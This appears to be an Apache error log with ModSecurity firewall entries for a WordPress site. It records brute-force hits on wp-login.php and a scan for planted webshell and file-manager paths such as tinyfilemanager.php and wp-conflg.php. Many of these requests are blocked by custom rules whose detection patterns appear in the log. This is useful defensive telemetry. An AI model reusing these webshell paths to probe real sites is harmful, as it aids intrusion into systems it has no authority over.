[Tue Dec 02 06:10:44.068733 2025] [:error] [pid 3647:tid 3676] [client 156.239.200.241:9441] [client 156.239.200.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 156.239.200.241, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aS4SZFJaqGDFgh_0XI_IMQAAABc"]
[Tue Dec 02 06:10:44.083250 2025] [proxy_fcgi:error] [pid 3647:tid 3676] [client 156.239.200.241:9441] AH01071: Got error 'Primary script unknown'
[Tue Dec 02 06:10:44.697766 2025] [:error] [pid 5232:tid 5249] [client 154.193.159.40:28063] [client 154.193.159.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.193.159.40, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aS4SZAApmO-auDy1ob72nwAAAQ8"]
[Tue Dec 02 06:10:44.702874 2025] [proxy_fcgi:error] [pid 5232:tid 5249] [client 154.193.159.40:28063] AH01071: Got error 'Primary script unknown'
[Tue Dec 02 06:10:45.502753 2025] [:error] [pid 5273:tid 5321] [client 156.239.192.255:17801] [client 156.239.192.255] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 156.239.192.255, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aS4SZSMmXO5H1kNwHHVjRgAAAZM"]
[Tue Dec 02 06:10:45.508070 2025] [proxy_fcgi:error] [pid 5273:tid 5321] [client 156.239.192.255:17801] AH01071: Got error 'Primary script unknown'
[Tue Dec 02 06:17:08.578758 2025] [autoindex:error] [pid 3648:tid 3692] [client 4.218.9.135:46050] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Tue Dec 02 06:17:08.740514 2025] [autoindex:error] [pid 3648:tid 3697] [client 4.218.9.135:46050] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Tue Dec 02 06:17:08.895401 2025] [proxy_fcgi:error] [pid 3648:tid 3700] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:09.049771 2025] [proxy_fcgi:error] [pid 3648:tid 3693] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Dec 02 06:17:09.212147 2025] [proxy_fcgi:error] [pid 3648:tid 3698] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Dec 02 06:17:09.395899 2025] [proxy_fcgi:error] [pid 3648:tid 3707] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Tue Dec 02 06:17:09.987397 2025] [proxy_fcgi:error] [pid 3648:tid 3695] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Dec 02 06:17:10.137359 2025] [proxy_fcgi:error] [pid 3648:tid 3685] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Dec 02 06:17:10.292244 2025] [proxy_fcgi:error] [pid 3648:tid 3699] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Dec 02 06:17:10.440953 2025] [proxy_fcgi:error] [pid 3648:tid 3692] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Tue Dec 02 06:17:12.522355 2025] [proxy_fcgi:error] [pid 3648:tid 3689] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Tue Dec 02 06:17:12.677470 2025] [proxy_fcgi:error] [pid 3648:tid 3692] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Dec 02 06:17:13.030842 2025] [proxy_fcgi:error] [pid 3648:tid 3686] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Tue Dec 02 06:17:13.179618 2025] [proxy_fcgi:error] [pid 3648:tid 3687] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:13.815218 2025] [proxy_fcgi:error] [pid 3648:tid 3694] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Dec 02 06:17:14.033314 2025] [proxy_fcgi:error] [pid 3648:tid 3689] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Tue Dec 02 06:17:15.170970 2025] [proxy_fcgi:error] [pid 3648:tid 3704] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Tue Dec 02 06:17:15.472728 2025] [proxy_fcgi:error] [pid 3648:tid 3690] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:15.946846 2025] [proxy_fcgi:error] [pid 3648:tid 3694] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Dec 02 06:17:16.127593 2025] [proxy_fcgi:error] [pid 3648:tid 3689] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Dec 02 06:17:16.315377 2025] [proxy_fcgi:error] [pid 3648:tid 3696] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Tue Dec 02 06:17:16.464513 2025] [proxy_fcgi:error] [pid 3648:tid 3691] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Dec 02 06:17:16.616692 2025] [proxy_fcgi:error] [pid 3648:tid 3697] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Dec 02 06:17:16.767461 2025] [proxy_fcgi:error] [pid 3648:tid 3686] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Tue Dec 02 06:17:17.235281 2025] [proxy_fcgi:error] [pid 3648:tid 3698] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:17.424668 2025] [proxy_fcgi:error] [pid 3648:tid 3705] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Tue Dec 02 06:17:17.575533 2025] [proxy_fcgi:error] [pid 3648:tid 3700] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Dec 02 06:17:17.742990 2025] [proxy_fcgi:error] [pid 3648:tid 3707] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Dec 02 06:17:17.896098 2025] [proxy_fcgi:error] [pid 3648:tid 3694] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Tue Dec 02 06:17:18.122994 2025] [proxy_fcgi:error] [pid 3648:tid 3701] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Tue Dec 02 06:17:18.657814 2025] [proxy_fcgi:error] [pid 3648:tid 3692] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Dec 02 06:17:18.838157 2025] [proxy_fcgi:error] [pid 3648:tid 3691] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:19.253356 2025] [proxy_fcgi:error] [pid 3648:tid 3688] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:19.413178 2025] [proxy_fcgi:error] [pid 3648:tid 3687] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Tue Dec 02 06:17:19.646886 2025] [proxy_fcgi:error] [pid 3648:tid 3698] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:19.796808 2025] [proxy_fcgi:error] [pid 3648:tid 3684] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Dec 02 06:17:20.183441 2025] [proxy_fcgi:error] [pid 3648:tid 3694] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Tue Dec 02 06:17:20.366714 2025] [proxy_fcgi:error] [pid 3648:tid 3689] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Tue Dec 02 06:17:20.677305 2025] [proxy_fcgi:error] [pid 3648:tid 3696] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Tue Dec 02 06:17:20.907947 2025] [proxy_fcgi:error] [pid 3648:tid 3693] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Dec 02 06:17:21.070684 2025] [proxy_fcgi:error] [pid 3648:tid 3703] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:21.368530 2025] [proxy_fcgi:error] [pid 3648:tid 3691] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:21.551432 2025] [proxy_fcgi:error] [pid 3648:tid 3708] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Dec 02 06:17:23.011960 2025] [proxy_fcgi:error] [pid 3648:tid 3686] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Dec 02 06:17:23.252325 2025] [proxy_fcgi:error] [pid 3648:tid 3688] [client 4.218.9.135:46050] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Tue Dec 02 06:17:23.397317 2025] [:error] [pid 3648:tid 3690] [client 4.218.9.135:46050] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aS4T8-QEp5icp6XOJr3zVgAAAEY"], referer: https://www.google.fr/
[Tue Dec 02 06:17:24.095737 2025] [proxy_fcgi:error] [pid 5272:tid 5296] [client 4.218.9.135:46074] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Tue Dec 02 06:17:27.744007 2025] [proxy_fcgi:error] [pid 5272:tid 5282] [client 4.218.9.135:46074] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:27.896845 2025] [proxy_fcgi:error] [pid 5272:tid 5288] [client 4.218.9.135:46074] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Dec 02 06:17:28.094736 2025] [proxy_fcgi:error] [pid 5272:tid 5290] [client 4.218.9.135:46074] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:32.202880 2025] [proxy_fcgi:error] [pid 5272:tid 5278] [client 4.218.9.135:46074] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Dec 02 06:17:32.721757 2025] [:error] [pid 5272:tid 5280] [client 4.218.9.135:46074] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aS4T_OwbFoRzPGfZYVSE_gAAAUU"], referer: https://www.google.co.uk/
[Tue Dec 02 06:17:33.598013 2025] [:error] [pid 5273:tid 5314] [client 4.218.9.135:46038] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/test1.php"] [unique_id "aS4T_SMmXO5H1kNwHHVnfgAAAYw"], referer: https://www.google.com/
[Tue Dec 02 06:17:34.680272 2025] [:error] [pid 3760:tid 3770] [client 4.218.9.135:45952] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aS4T_ljLYEjdWVcKgVWKGQAAAMg"], referer: https://www.google.com/
[Tue Dec 02 06:17:35.494636 2025] [:error] [pid 3760:tid 3785] [client 4.218.9.135:46061] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aS4T_1jLYEjdWVcKgVWKHQAAANc"], referer: https://www.yahoo.com/
[Tue Dec 02 06:17:36.526350 2025] [:error] [pid 5232:tid 5246] [client 4.218.9.135:45959] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aS4UAAApmO-auDy1ob760QAAAQw"], referer: https://www.google.com/
[Tue Dec 02 06:17:37.468060 2025] [:error] [pid 5232:tid 5245] [client 4.218.9.135:45963] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aS4UAQApmO-auDy1ob761wAAAQs"], referer: https://www.google.co.uk/
[Tue Dec 02 06:17:39.384478 2025] [:error] [pid 3760:tid 3770] [client 4.218.9.135:45954] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aS4UA1jLYEjdWVcKgVWKKgAAAMg"], referer: https://www.google.de/
[Tue Dec 02 06:17:40.443302 2025] [:error] [pid 5273:tid 5324] [client 4.218.9.135:45967] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aS4UBCMmXO5H1kNwHHVnhwAAAZY"], referer: https://www.yahoo.com/
[Tue Dec 02 06:17:41.078953 2025] [:error] [pid 5273:tid 5313] [client 4.218.9.135:46062] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aS4UBSMmXO5H1kNwHHVnigAAAYs"], referer: https://www.google.fr/
[Tue Dec 02 06:17:42.307100 2025] [:error] [pid 3647:tid 3670] [client 4.218.9.135:46068] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aS4UBlJaqGDFgh_0XI_LcQAAABE"], referer: https://www.google.de/
[Tue Dec 02 06:17:43.855191 2025] [:error] [pid 5272:tid 5284] [client 4.218.9.135:46067] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/shortcode/index.php"] [unique_id "aS4UB-wbFoRzPGfZYVSFFwAAAUk"], referer: https://www.yahoo.com/
[Tue Dec 02 06:17:46.092720 2025] [:error] [pid 3648:tid 3691] [client 4.218.9.135:45958] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aS4UCuQEp5icp6XOJr3zhAAAAEc"], referer: https://www.google.co.uk/
[Tue Dec 02 06:17:47.221444 2025] [:error] [pid 3649:tid 3724] [client 4.218.9.135:45960] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aS4UC7wjL4uqC6YFjxGUaQAAAI0"], referer: https://www.bing.com/
[Tue Dec 02 06:17:51.896408 2025] [:error] [pid 3647:tid 3673] [client 4.218.9.135:45898] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aS4UD1JaqGDFgh_0XI_LjAAAABQ"], referer: https://www.google.de/
[Tue Dec 02 06:17:54.383147 2025] [:error] [pid 3647:tid 3676] [client 4.218.9.135:46054] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aS4UElJaqGDFgh_0XI_LjQAAABc"], referer: https://www.bing.com/
[Tue Dec 02 06:17:57.519836 2025] [:error] [pid 3648:tid 3694] [client 4.218.9.135:46026] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/index.php"] [unique_id "aS4UFeQEp5icp6XOJr3zmgAAAEo"], referer: https://www.google.fr/
[Tue Dec 02 06:18:01.355292 2025] [:error] [pid 5272:tid 5286] [client 4.218.9.135:46035] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aS4UGewbFoRzPGfZYVSFLAAAAUs"], referer: https://duckduckgo.com/
[Tue Dec 02 06:18:03.819723 2025] [:error] [pid 3647:tid 3664] [client 4.218.9.135:46066] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aS4UG1JaqGDFgh_0XI_LmQAAAAs"], referer: https://www.google.de/
[Tue Dec 02 06:18:05.409738 2025] [:error] [pid 5273:tid 5315] [client 4.218.9.135:46046] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/jcrop.php"] [unique_id "aS4UHSMmXO5H1kNwHHVnxwAAAY0"], referer: https://www.google.co.uk/
[Tue Dec 02 06:18:08.607399 2025] [:error] [pid 5272:tid 5288] [client 4.218.9.135:45962] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aS4UIOwbFoRzPGfZYVSFPgAAAU0"], referer: https://www.google.de/
[Tue Dec 02 06:18:11.156365 2025] [:error] [pid 5232:tid 5238] [client 4.218.9.135:46057] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aS4UIwApmO-auDy1ob77NAAAAQQ"], referer: https://www.google.com/
[Tue Dec 02 06:18:13.693836 2025] [:error] [pid 3760:tid 3765] [client 4.218.9.135:46049] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aS4UJVjLYEjdWVcKgVWKWAAAAMM"], referer: https://www.google.co.uk/
[Tue Dec 02 06:18:14.950123 2025] [:error] [pid 5232:tid 5253] [client 4.218.9.135:46039] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aS4UJgApmO-auDy1ob77PQAAARM"], referer: https://www.google.co.uk/
[Tue Dec 02 06:18:16.885911 2025] [:error] [pid 5273:tid 5305] [client 4.218.9.135:45909] [client 4.218.9.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aS4UKCMmXO5H1kNwHHVn2AAAAYM"], referer: https://www.bing.com/
[Tue Dec 02 06:18:18.243201 2025] [proxy_fcgi:error] [pid 3648:tid 3699] [client 4.218.9.135:46070] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Dec 02 06:18:19.278716 2025] [proxy_fcgi:error] [pid 3648:tid 3701] [client 4.218.9.135:46070] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Tue Dec 02 06:18:19.458263 2025] [proxy_fcgi:error] [pid 3648:tid 3684] [client 4.218.9.135:46070] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Dec 02 06:18:19.651959 2025] [proxy_fcgi:error] [pid 3648:tid 3686] [client 4.218.9.135:46070] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Tue Dec 02 06:18:19.824187 2025] [proxy_fcgi:error] [pid 3648:tid 3697] [client 4.218.9.135:46070] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Tue Dec 02 12:37:45.356270 2025] [proxy_fcgi:error] [pid 5273:tid 5318] [client 145.239.10.137:52333] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/zc.php
[Tue Dec 02 12:37:45.372157 2025] [proxy_fcgi:error] [pid 5273:tid 5308] [client 145.239.10.137:39210] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/zt2.php
[Tue Dec 02 14:59:52.896441 2025] [proxy_fcgi:error] [pid 3648:tid 3703] [client 145.239.10.137:43231] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/resp.php
[Tue Dec 02 15:59:24.516659 2025] [:error] [pid 48650:tid 48665] [client 62.60.131.162:63091] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aS6cXIQuWSn3xrJsXbkshAAAAco"]
[Tue Dec 02 15:59:48.727002 2025] [:error] [pid 5272:tid 5288] [client 62.60.131.162:65040] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aS6cdOwbFoRzPGfZYVQpxwAAAU0"]
